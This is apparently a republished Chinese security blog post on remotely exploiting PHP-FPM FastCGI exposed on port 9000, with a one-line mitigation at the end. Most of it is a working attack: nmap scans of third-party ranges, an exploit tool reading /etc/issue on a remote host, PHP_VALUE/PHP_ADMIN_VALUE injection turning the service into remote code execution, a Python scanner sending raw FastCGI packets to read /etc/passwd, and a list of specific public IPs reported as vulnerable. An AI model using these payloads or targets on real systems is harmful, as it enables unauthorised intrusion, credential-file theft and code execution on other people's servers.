PHP FastCGI 的远程利用
说到 FastCGI,大家都知道这是目前最常见的 webserver 动态脚本执行模型之一。目前基本所有 web 脚本都基本支持这种模式,甚至有的类型脚本这是唯一的模式(ROR,Python 等)。
FastCGI 的主要目的就是,将 webserver 和动态语言的执行分开为两个不同的常驻进程,当 webserver 接收到动态脚本的请求,就通过 fcgi 协议将请求通过网络转发给 fcgi 进程,由 fcgi 进程进行处理之后,再将结果传送给 webserver,然后 webserver 再输出给浏览器。这种模型由于不用每次请求都重新启动一次 cgi,也不用嵌入脚本解析器到 webserver 中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端 fcgi 进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么 fcgi 等类似模式如此流行的原因之一。
然而正是因为这种模式,却也带来了一些问题。例如去年 80sec 发布的《nginx 文件解析漏洞》 实际上就是由于 fcgi 和 webserver 对 script 路径级参数的理解不同出现的问题。除此之外,由于 fcgi 和 webserver 是通过网络进行沟通的,因此目前越来越多的集群将 fcgi 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成 webserver,让 fcgi 执行我们想执行的脚本内容。
ok,以上就是背景原理解释,我这里就用我最熟悉的 PHP 给各位做个例子。
php 的 fastcgi 目前通常叫做 FPM。他默认监听的端口是 9000 端口。我们这里用 nmap 直接扫描一下:
nmap -sV -p 9000 --open x.x.x.x/24
为什么要用 sV?因为 9000 端口可能还存在其他服务,这里需要借用 nmap 的指纹识别先帮我们鉴定一下。
[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 (http://nmap.org) at 2012-09-14 20:06 EDT Nmap scan report for abc.net (173.xxx.xxx.111) Host is up (0.0095s latency). PORT STATE SERVICE VERSION 9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183) Host is up (0.0096s latency). PORT STATE SERVICE VERSION 9000/tcp open tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds
随便扫描了一下,运气不错,一个 C 段有 2 个开放 9000 端口的,不过其中一个是被管理员修改的 sshd,另一个 tcpwrapped,才是我们的目标。
为了做测试,我写了一个 fastcgi 的客户端程序,直接向对方发起请求。我们利用一个开放的 fastcgi 能有什么作用?这里和普通的 http 请求有一点不同,因为 webserver 为了提供 fastcgi 一些参数,每次转发请求的时候,会通过 FASTCGI_PARAMS 的包向 fcgi 进程进行传递。本来这些参数是用户不可控的,但是既然这个 fcgi 对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情:
[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9 Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l
读到了 / etc/issue 文件,可以看到这是台 ubuntu 10.04 的机器。那又是怎么实现的呢?其实我们只要在 FASTCGI_PARAMS 中,设定 DOCUMENT_ROOT 为 "/" 根目录即可,随后再设置 SCRIPT_FILENAME 为 / etc/issue。这样,只要我们有权限,我们就可以控制 fcgi 去读取这台机器上的任意文件了。实际上这并不是读取,而是用 php 去执行它。
既然是执行,所以其实这个漏洞就类似于一个普通的 LFI 漏洞,如果你知道这台机器上的 log 路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了。
到此为止了么?不,如果利用 log 或者去猜其他文件路径去执行代码,还是不够方便,有没有更为方便的利用方式可以让我执行任意我提交的代码呢?
这里我也找了很多办法,最先想到的是传递 env 参数过去然后去执行 / proc/self/environ 文件,可惜 php-fpm 在接收到我的参数值后只是在内存中修改了环境变量,并不会直接改动这个文件。因此没法利用。况且这个方式也不是所有系统都通用。
我们还有一种方法,在我之前写的《CVE-2012-1823(PHP-CGI RCE)的 PoC 及技术挑战》中,可以通过动态修改 php.ini 中的 auto_prepend_file 的值,去远程执行任意文件。将一个 LFI 的漏洞变成了 RFI,这样可利用空间就大大增加。
fastcgi 是否也支持类似的动态修改 php 的配置?我查了一下资料,发现原本 FPM 是不支持的,直到某开发者提交了一个 bug,php 官方才将此特性 Merge 到 php 5.3.3 的源码中去。
通用通过设置 FASTCGI_PARAMS,我们可以利用 PHP_ADMIN_VALUE 和 PHP_VALUE 去动态修改 php 的设置。
env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "auto_prepend_file = php://input" env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用执行 php://input,然后在 POST 的内容中写入我们的 php 代码,这样就可以直接执行了。
[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"
X-Powered-By: PHP/5.5.0-dev Content-type: text/html
uid=500(www) gid=500(www) groups=500(www) Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器 php 版本是 5.3.2,正好低于 5.3.3,因此无法利用修改 ini 设置去执行代码,只能去猜路径。
另一个变化是,我这里去读取 / tmp/a.php 这个 php 文件,而不是去读取 / etc/issue。因为在 5.3.9 开始,php 官方加入了一个配置 "security.limit_extensions",默认状态下只允许执行扩展名为 ".php" 的文件。因此你必须找到一个已经存在的 php 文件。而这个设置是 php-fpm.conf 里的,无法通过修改 ini 的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。
ok,目前为止对 php-fpm 的所有测试已经结束,我们利用一个对外开放的 fcgi 进程,已经可以直接获取 shell 了。各位不如也去研究一下其他 fcgi,或许会有更多发现。
如何防止这个漏洞?很简单,千万不要把 fcgi 接口对公网暴露。同时也希望将来 fcgi 会有身份认证机制。
任何系统上编译,请安装 golang 之后,执行: go build fcgi_exp.go
fastcgi 文件读取漏洞 python 扫描脚本
fastcgi 文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用
利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp
协议细节其实我已不关心,只需要一个 python 的扫描脚本。于是拿 wireshark 抓了下 GaRY 的程序,写一小段代码。
外网暴露 9000 端口的机器自然是非常非常少的,但内网可就说不定了。
- import socket
- import sys
- def test_fastcgi(ip):
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
- sock.connect((ip, 9000))
- data = """
- 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
- 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53
- 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52
- 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50
- 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
- 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
- 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49
- 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f
- 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
- 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
- 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
- """
- data_s = ''
- for _ in data.split():
- data_s += chr(int(_,16))
- sock.send(data_s)
- try:
- ret = sock.recv(1024)
- if ret.find(':root:') > 0:
- print ret
- print '%s is vulnerable!' % ip
- return True
- else:
- return False
- except Exception, e:
- pass
- sock.close()
- if __name__ == '__main__':
- if len(sys.argv) == 1:
- print sys.argv[0], '[ip]'
- else:
- test_fastcgi(sys.argv[1])
通过快速扫描 9000 端口,可以发现几个存在漏洞的机器:
- 110.164.68.137 is vul !
- 110.164.68.148 is vul !
- 110.164.68.149 is vul !
- 110.164.68.151 is vul !
- 110.164.68.154 is vul !
- 110.164.68.155 is vul !
fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd
来源: http://www.92to.com/bangong/2017/04-27/20961184.html